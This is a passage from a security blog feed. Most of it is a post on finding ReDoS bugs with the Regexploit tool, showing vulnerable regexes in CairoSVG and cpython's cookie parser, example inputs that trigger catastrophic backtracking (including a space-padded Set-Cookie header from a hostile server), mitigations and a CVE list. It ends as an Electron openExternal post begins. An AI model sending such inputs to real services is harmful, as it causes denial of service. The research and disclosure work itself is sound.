class=&quot;arrowheadPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;/g&gt;&lt;g class=&quot;edgePath LS-F LE-E&quot; id=&quot;L-F-E&quot; style=&quot;opacity: 1;&quot;&gt;&lt;path class=&quot;path&quot; d=&quot;M226.828125,225L226.828125,259.5L174.66384548611111,294&quot; marker-end=&quot;url(#arrowhead9207)&quot; style=&quot;fill:none&quot;&gt;&lt;/path&gt;&lt;defs&gt;&lt;marker id=&quot;arrowhead9207&quot; viewBox=&quot;0 0 10 10&quot; refX=&quot;9&quot; refY=&quot;5&quot; markerUnits=&quot;strokeWidth&quot; markerWidth=&quot;8&quot; markerHeight=&quot;6&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 0 0 L 10 5 L 0 10 z&quot; class=&quot;arrowheadPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;/g&gt;&lt;g class=&quot;edgePath LS-E LE-G&quot; id=&quot;L-E-G&quot; style=&quot;opacity: 1;&quot;&gt;&lt;path class=&quot;path&quot; d=&quot;M145.1796875,333L145.1796875,367.5L145.1796875,402&quot; marker-end=&quot;url(#arrowhead9208)&quot; style=&quot;fill:none&quot;&gt;&lt;/path&gt;&lt;defs&gt;&lt;marker id=&quot;arrowhead9208&quot; viewBox=&quot;0 0 10 10&quot; refX=&quot;9&quot; refY=&quot;5&quot; markerUnits=&quot;strokeWidth&quot; markerWidth=&quot;8&quot; markerHeight=&quot;6&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 0 0 L 10 5 L 0 10 z&quot; class=&quot;arrowheadPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabels&quot;&gt;&lt;g class=&quot;edgeLabel&quot; transform=&quot;&quot; style=&quot;opacity: 1;&quot;&gt;&lt;g transform=&quot;translate(0,0)&quot; class=&quot;label&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/rect&gt;&lt;foreignObject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;&lt;span id=&quot;L-L-A-C&quot; class=&quot;edgeLabel L-LS-A' L-LE-C&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot; transform=&quot;&quot; style=&quot;opacity: 1;&quot;&gt;&lt;g transform=&quot;translate(0,0)&quot; class=&quot;label&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/rect&gt;&lt;foreignObject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;&lt;span id=&quot;L-L-C-D&quot; class=&quot;edgeLabel L-LS-C' L-LE-D&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot; transform=&quot;translate(63.53125,259.5)&quot; style=&quot;opacity: 1;&quot;&gt;&lt;g transform=&quot;translate(-27.4609375,-9.5)&quot; class=&quot;label&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; width=&quot;54.921875&quot; height=&quot;19&quot;&gt;&lt;/rect&gt;&lt;foreignObject width=&quot;54.921875&quot; height=&quot;19&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;&lt;span id=&quot;L-L-D-E&quot; class=&quot;edgeLabel L-LS-D' L-LE-E&quot;&gt;regexes&lt;/span&gt;&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot; transform=&quot;&quot; style=&quot;opacity: 1;&quot;&gt;&lt;g transform=&quot;translate(0,0)&quot; class=&quot;label&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/rect&gt;&lt;foreignObject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;&lt;span id=&quot;L-L-C-F&quot; class=&quot;edgeLabel L-LS-C' L-LE-F&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot; transform=&quot;translate(226.828125,259.5)&quot; style=&quot;opacity: 1;&quot;&gt;&lt;g transform=&quot;translate(-27.4609375,-9.5)&quot; class=&quot;label&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; width=&quot;54.921875&quot; height=&quot;19&quot;&gt;&lt;/rect&gt;&lt;foreignObject width=&quot;54.921875&quot; height=&quot;19&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;&lt;span id=&quot;L-L-F-E&quot; class=&quot;edgeLabel L-LS-F' L-LE-E&quot;&gt;regexes&lt;/span&gt;&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot; transform=&quot;translate(145.1796875,367.5)&quot; style=&quot;opacity: 1;&quot;&gt;&lt;g transform=&quot;translate(-21.9921875,-9.5)&quot; class=&quot;label&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; width=&quot;43.984375&quot; height=&quot;19&quot;&gt;&lt;/rect&gt;&lt;foreignObject width=&quot;43.984375&quot; height=&quot;19&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;&lt;span id=&quot;L-L-E-G&quot; class=&quot;edgeLabel L-LS-E' L-LE-G&quot;&gt;ReDoS&lt;/span&gt;&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;nodes&quot;&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-A-10672&quot; transform=&quot;translate(145.1796875,27.5)&quot; style=&quot;opacity: 1;&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; x=&quot;-50.609375&quot; y=&quot;-19.5&quot; width=&quot;101.21875&quot; height=&quot;39&quot; class=&quot;label-container&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0,0)&quot;&gt;&lt;g transform=&quot;translate(-40.609375,-9.5)&quot;&gt;&lt;foreignObject width=&quot;81.21875&quot; height=&quot;19&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;Libraries.io&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-C-10673&quot; transform=&quot;translate(145.1796875,116.5)&quot; style=&quot;opacity: 1;&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; x=&quot;-93.8984375&quot; y=&quot;-19.5&quot; width=&quot;187.796875&quot; height=&quot;39&quot; class=&quot;label-container&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0,0)&quot;&gt;&lt;g transform=&quot;translate(-83.8984375,-9.5)&quot;&gt;&lt;foreignObject width=&quot;167.796875&quot; height=&quot;19&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;pypi / npm downloader&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-D-10675&quot; transform=&quot;translate(63.53125,205.5)&quot; style=&quot;opacity: 1;&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; x=&quot;-55.53125&quot; y=&quot;-19.5&quot; width=&quot;111.0625&quot; height=&quot;39&quot; class=&quot;label-container&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0,0)&quot;&gt;&lt;g transform=&quot;translate(-45.53125,-9.5)&quot;&gt;&lt;foreignObject width=&quot;91.0625&quot; height=&quot;19&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;regexploit-js&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-E-10677&quot; transform=&quot;translate(145.1796875,313.5)&quot; style=&quot;opacity: 1;&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; x=&quot;-46.421875&quot; y=&quot;-19.5&quot; width=&quot;92.84375&quot; height=&quot;39&quot; class=&quot;label-container&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0,0)&quot;&gt;&lt;g transform=&quot;translate(-36.421875,-9.5)&quot;&gt;&lt;foreignObject width=&quot;72.84375&quot; height=&quot;19&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;Regexploit&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-F-10679&quot; transform=&quot;translate(226.828125,205.5)&quot; style=&quot;opacity: 1;&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; x=&quot;-57.765625&quot; y=&quot;-19.5&quot; width=&quot;115.53125&quot; height=&quot;39&quot; class=&quot;label-container&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0,0)&quot;&gt;&lt;g transform=&quot;translate(-47.765625,-9.5)&quot;&gt;&lt;foreignObject width=&quot;95.53125&quot; height=&quot;19&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;regexploit-py&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-G-10683&quot; transform=&quot;translate(145.1796875,421.5)&quot; style=&quot;opacity: 1;&quot;&gt;&lt;rect rx=&quot;0&quot; ry=&quot;0&quot; x=&quot;-32.6171875&quot; y=&quot;-19.5&quot; width=&quot;65.234375&quot; height=&quot;39&quot; class=&quot;label-container&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0,0)&quot;&gt;&lt;g transform=&quot;translate(-22.6171875,-9.5)&quot;&gt;&lt;foreignObject width=&quot;45.234375&quot; height=&quot;19&quot;&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot; style=&quot;display: inline-block; white-space: nowrap;&quot;&gt;Triage&lt;/div&gt;&lt;/foreignObject&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/div&gt;
&lt;!--
graph TB
    A[Libraries.io] --\&gt; C[pypi / npm downloader]
    C --\&gt; D[regexploit-js]
    D --\&gt; |regexes|E[Regexploit]
    C --\&gt; F[regexploit-py]
    F --\&gt; |regexes|E
    E --\&gt; |ReDoS|G[Triage]
--&gt;

&lt;p&gt;We tried to exclude build tools and test frameworks, as bugs in these are unlikely to have any security impact.
When a vulnerable regex was found, we then needed to figure out how untrusted input could reach it.&lt;/p&gt;

&lt;h3 id=&quot;results&quot;&gt;Results&lt;/h3&gt;

&lt;p&gt;The most problematic area was the use of regexes to parse programming or markup languages.
Using regular expressions to parse some languages e.g. &lt;a href=&quot;https://github.com/trentm/python-markdown2/pull/387&quot;&gt;Markdown&lt;/a&gt;, &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=1162357&quot;&gt;CSS&lt;/a&gt;, &lt;a href=&quot;https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14&quot;&gt;Matlab&lt;/a&gt; or &lt;a href=&quot;https://github.com/advisories/GHSA-hq37-853p-g5cf&quot;&gt;SVG&lt;/a&gt; is fraught with danger.
Such languages have grammars which are designed to be processed by specialised lexers and parsers. Trying to perform the task with regexes leads to overly complicated patterns which are difficult for mere mortals to read.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A recurring source of vulnerabilities was the handling of optional whitespace.&lt;/strong&gt; As an example, let’s take the Python module &lt;a href=&quot;https://github.com/advisories/GHSA-hq37-853p-g5cf&quot;&gt;CairoSVG&lt;/a&gt; which used the following regex:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;regex&quot; data-regex=&quot;rgba\([ \n\r\t]*(.+?)[ \n\r\t]*\)&quot;&gt;
&lt;span style=&quot;background-color:#A0A;&quot;&gt;rgba\(&lt;/span&gt;&lt;span style=&quot;background-color:#A50&quot;&gt;[ \n\r\t]*&lt;/span&gt;&lt;span style=&quot;background-color:#A00&quot;&gt;(.+?)&lt;/span&gt;&lt;span style=&quot;background-color:#0A0&quot;&gt;[ \n\r\t]*&lt;/span&gt;&lt;span style=&quot;background-color:#000&quot;&gt;\)&lt;/span&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ regexploit-py .env/lib/python3.9/site-packages/cairosvg/
Vulnerable regex in .env/lib/python3.9/site-packages/cairosvg/colors.py #190
Pattern: rgba\([ \n\r\t]*(.+?)[ \n\r\t]*\)
Context: RGBA = re.compile(r'rgba\([ \n\r\t]*(.+?)[ \n\r\t]*\)')
---
Starriness: 3 ⭐⭐⭐ (cubic)
Repeated character: [20,09,0a,0d]
Example: 'rgba(' + ' ' * 3456
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The developer wants to find strings like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rgba(   100,200, 10, 0.5   )&lt;/code&gt; and extract the middle part without surrounding spaces. Unfortunately, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.+&lt;/code&gt; in the middle &lt;em&gt;also&lt;/em&gt; accepts spaces.
If the string does not end with a closing parenthesis, the regex will not match, and we can get &lt;em&gt;O(n&lt;sup&gt;3&lt;/sup&gt;)&lt;/em&gt; backtracking.&lt;/p&gt;

&lt;p&gt;Let’s take a look at the matching process with the input &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;rgba(&quot; + &quot; &quot; * 19&lt;/code&gt;:&lt;/p&gt;

&lt;iframe style=&quot;overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 270px; float: none; visibility: visible; height: 700px;&quot; srcdoc=&quot;&amp;lt;body style=&amp;quot;margin:-20px 0;overflow:hidden;&amp;quot;&amp;gt;&amp;lt;script id=&amp;quot;asciicast-J6jCMFt9JwNnj7wF0uz3e7Rtm&amp;quot; src=&amp;quot;https://asciinema.org/a/J6jCMFt9JwNnj7wF0uz3e7Rtm.js&amp;quot; async data-cols=&amp;quot;25&amp;quot; data-preload=&amp;quot;0&amp;quot; data-speed=&amp;quot;0.5&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&quot; sandbox=&quot;allow-scripts allow-same-origin&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;What a load of wasted CPU cycles!&lt;/p&gt;

&lt;p&gt;A fun ReDoS bug was discovered in &lt;a href=&quot;https://github.com/python/cpython/pull/17157&quot;&gt;cpython’s http.cookiejar&lt;/a&gt; with this gorgeous regex:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Pattern: ^
    (\d\d?)            # day
       (?:\s+|[-\/])
    (\w+)              # month
        (?:\s+|[-\/])
    (\d+)              # year
    (?:
          (?:\s+|:)    # separator before clock
       (\d\d?):(\d\d)  # hour:min
       (?::(\d\d))?    # optional seconds
    )?                 # optional clock
       \s*
    ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone
       \s*
    (?:\(\w+\))?       # ASCII representation of timezone in parens.
       \s*$
Context: LOOSE_HTTP_DATE_RE = re.compile(
---
Starriness: 3 ⭐⭐⭐
Repeated character: [SPACE]
Final character to cause backtracking: [^SPACE]
Example: '0 a 0' + ' ' * 3456 + '0'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It was used when processing cookie expiry dates like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Fri, 08 Jan 2021 23:20:00 GMT&lt;/code&gt;, but with compatibility for some deprecated date formats.
The last 5 lines of the regex pattern contain three &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\s*&lt;/code&gt; groups separated by &lt;em&gt;optional&lt;/em&gt; groups, so we have a cubic ReDoS.&lt;/p&gt;

&lt;p&gt;A victim simply making an HTTP request like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests.get('http://evil.server')&lt;/code&gt; could be attacked by a remote server responding with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-Cookie&lt;/code&gt; headers of the form:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Set-Cookie: b;Expires=1-c-1                        X
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With the maximum 65506 spaces that can be crammed into an HTTP header line in Python, the client will take over a week to finish processing the header.&lt;/p&gt;

&lt;iframe style=&quot;overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 270px; float: none; visibility: visible; height: 525px;&quot; srcdoc=&quot;&amp;lt;body style=&amp;quot;margin:-20px 0;overflow:hidden;&amp;quot;&amp;gt;&amp;lt;script id=&amp;quot;asciicast-QhPv8DTkWxJuZbIxZVYn6Q39q&amp;quot; src=&amp;quot;https://asciinema.org/a/QhPv8DTkWxJuZbIxZVYn6Q39q.js&amp;quot; async data-speed=&amp;quot;0.5&amp;quot; data-preload=&amp;quot;0&amp;quot; data-cols=&amp;quot;23&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&quot; sandbox=&quot;allow-scripts allow-same-origin&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;Again, the issue was designing the regex to handle whitespace between optional sections.&lt;/p&gt;

&lt;p&gt;Another point to notice is that, based on the git history, the troublesome regexes we discovered had mostly remained untouched since they first entered the codebase.
While it shows that the regexes seem to cause no issues in normal conditions, it perhaps indicates that regexes are too illegible to maintain.
If the regex above had no comments to explain what it was supposed to match, who would dare try to alter it? Probably only the guy from xkcd.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://xkcd.com/208/&quot;&gt;&lt;img src=&quot;https://imgs.xkcd.com/comics/regular_expressions.png&quot; alt=&quot;xkcd 208: Regular Expressions&quot; /&gt;&lt;/a&gt;
&lt;em&gt;Sorry, I wanted to shoehorn this comic in somewhere&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;mitigations---safety-first&quot;&gt;Mitigations - Safety first&lt;/h2&gt;

&lt;h3 id=&quot;use-a-dfa&quot;&gt;Use a DFA&lt;/h3&gt;

&lt;p&gt;So why didn’t I bother looking for ReDoS in Golang? Go’s regex engine &lt;a href=&quot;https://opensource.googleblog.com/2010/03/re2-principled-approach-to-regular.html&quot;&gt;re2&lt;/a&gt; &lt;em&gt;does not backtrack&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Its design (&lt;a href=&quot;https://swtch.com/~rsc/regexp/regexp1.html&quot;&gt;Deterministic Finite Automaton&lt;/a&gt;) was chosen to be safe even if the regular expression itself is untrusted. The guarantee is that regex matching will occur in linear time regardless of input.
There was a trade-off though.
Depending on your use-case, libraries like re2 may not be the fastest engines.
There are also some regex features such as backreferences which had to be dropped.
But in the pathological case, regexes won’t be what takes down your website.
There are re2 libraries for many languages, so you can use it in preference to Python’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;re&lt;/code&gt; module.&lt;/p&gt;

&lt;h3 id=&quot;dont-do-it-all-with-regexes&quot;&gt;Don’t do it all with regexes&lt;/h3&gt;

&lt;p&gt;For the whitespace ambiguity issue, it’s often possible to first use a simple regex and then trim / strip the spaces from either side of the result.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/images/drake-hotline-redos-meme.jpg&quot; alt=&quot;How to meme?&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;many-tiny-regexes&quot;&gt;Many tiny regexes&lt;/h3&gt;

&lt;p&gt;In Ruby, the standard library contains &lt;a href=&quot;https://ruby-doc.org/stdlib-2.7.0/libdoc/strscan/rdoc/StringScanner.html&quot;&gt;StringScanner&lt;/a&gt; which helps with “lexical scanning operations”.
While the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http-cookie&lt;/code&gt; gem has &lt;a href=&quot;https://github.com/sparklemotion/http-cookie/blob/9eb68dcce55b2d80e5dab101bb56c4ac9164211c/lib/http/cookie/scanner.rb&quot;&gt;many more lines of code&lt;/a&gt; than a mega-regex, it avoids REDoS when parsing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-Cookie&lt;/code&gt; headers. Once each part of the string has been matched, it refuses to backtrack.
In some regular expression flavours, you can use “possessive quantifiers” to mark sections as non-backtrackable and achieve a similar effect.&lt;/p&gt;

&lt;h2 id=&quot;gotta-catch-em-all-&quot;&gt;Gotta catch ‘em all 🐛🐞🦠&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p&quot;&gt;CVE-2020-5243: uap-core&lt;/a&gt; affecting uap-python, &lt;a href=&quot;https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw&quot;&gt;uap-ruby&lt;/a&gt;, etc. (User-Agent header parsing)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/python/cpython/commit/0b297d4ff1c0e4480ad33acae793fbaf4bf015b4&quot;&gt;CVE-2020-8492: cpython’s urllib.request&lt;/a&gt; (WWW-Authenticate header parsing)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq37-853p-g5cf&quot;&gt;CVE-2021-21236: CairoSVG&lt;/a&gt; (SVG parsing)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m&quot;&gt;CVE-2021-21240: httplib2&lt;/a&gt; (WWW-Authenticate header parsing)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c&quot;&gt;CVE-2021-25292: python-pillow&lt;/a&gt; (PDF parsing)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/trentm/python-markdown2/pull/387&quot;&gt;CVE-2021-26813: python-markdown2&lt;/a&gt; (Markdown parsing)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://doyensec.com/resources/Doyensec_Advisory_ssri_redos.pdf&quot;&gt;CVE-2021-27290: npm/ssri&lt;/a&gt; (SRI parsing)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14&quot;&gt;CVE-2021-27291: pygments&lt;/a&gt; lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab &amp;amp; Varnish VCL (Syntax highlighting)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566&quot;&gt;CVE-2021-27292: ua-parser-js&lt;/a&gt; (User-Agent header parsing)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/restsharp/RestSharp/issues/1556&quot;&gt;CVE-2021-27293: RestSharp&lt;/a&gt; (JSON deserialisation in a .NET C# package)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/python/cpython/pull/17157&quot;&gt;bpo-38804: cpython’s http.cookiejar&lt;/a&gt; (Set-Cookie header parsing)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://doyensec.com/resources/Doyensec_Advisory_simplecrawler_redos.pdf&quot;&gt;SimpleCrawler (archived)&lt;/a&gt; (HTML parsing)&lt;/li&gt;
  &lt;li&gt;CVE-2021-28092: to be released&lt;/li&gt;
  &lt;li&gt;Plus many more unpublished bugs in a handful of pypi, npm, ruby and nuget packages. We will update this list on &lt;a href=&quot;https://github.com/doyensec/regexploit&quot;&gt;https://github.com/doyensec/regexploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Electron APIs Misuse: An Attacker’s First Choice</title>
   <link href="https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html"/>
   <updated>2021-02-16T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2021/02/16/electron-apis-misuse</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;https://www.electronjs.org/&quot;&gt;ElectronJs&lt;/a&gt; is getting more secure every day. &lt;a href=&quot;https://www.electronjs.org/docs/tutorial/context-isolation&quot;&gt;Context isolation&lt;/a&gt; and other security settings are planned to become enabled by default with the upcoming release of Electron 12 stable, seemingly ending the somewhat deserved reputation of a systemically insecure framework.&lt;/p&gt;

&lt;p&gt;Seeing such significant and tangible progress makes us proud. Over the past years we’ve committed to helping developers securing their applications by researching different attack surfaces:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.doyensec.com/2017/08/03/electron-framework-security.html&quot;&gt;Modern Alchemy: Turning XSS into RCE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.doyensec.com/2018/05/24/electron-win-protocol-handler-bug-bypass.html&quot;&gt;Electron Windows Protocol Handler MITM/RCE (bypass for CVE-2018-1000006 fix)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload.html&quot;&gt;Subverting Electron Apps via Insecure Preload&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html&quot;&gt;Signature Validation Bypass Leading to RCE In Electron-Updater&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As confirmed by the Electron development team in the &lt;a href=&quot;https://www.electronjs.org/blog/electron-11-0#whats-next&quot;&gt;v11 stable release&lt;/a&gt;, they plan to release new major versions of Electron (including new versions of &lt;em&gt;Chromium&lt;/em&gt;, &lt;em&gt;Node&lt;/em&gt;, and &lt;em&gt;V8&lt;/em&gt;), approximately quarterly. Such an ambitious versioning schedule will also increase the number and the frequency of newly introduced APIs, planned breaking changes, and consequent security nuances in upcoming versions. While new functionalities are certainly desirable, new framework’s APIs may also expose powerful interfaces to OS features, which may be more or less inadvertently enabled by developers falling for the syntactic sugar provided by Electron.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/electronhardened.png&quot; title=&quot;Electron Hardened&quot; alt=&quot;Electron Hardened&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; width: 370px;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Such interfaces may be exposed to the renderer’s, either through preloads or insecure configurations, and can be abused by an attacker beyond their original purpose. An infamous example of this is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openExternal&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.electronjs.org/docs/api/shell#shell&quot;&gt;Shell&lt;/a&gt;’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openExternal()&lt;/code&gt; allows opening a given external protocol URI with the desktop’s native utilities. For instance, on macOS, this function is similar to the &lt;em&gt;open&lt;/em&gt; terminal command utility and will open the specific application based on the URI and filetype association. When openExternal is used with untrusted content, it can be leveraged to execute arbitrary commands, as demonstrated by the following example:&lt;/p&gt;

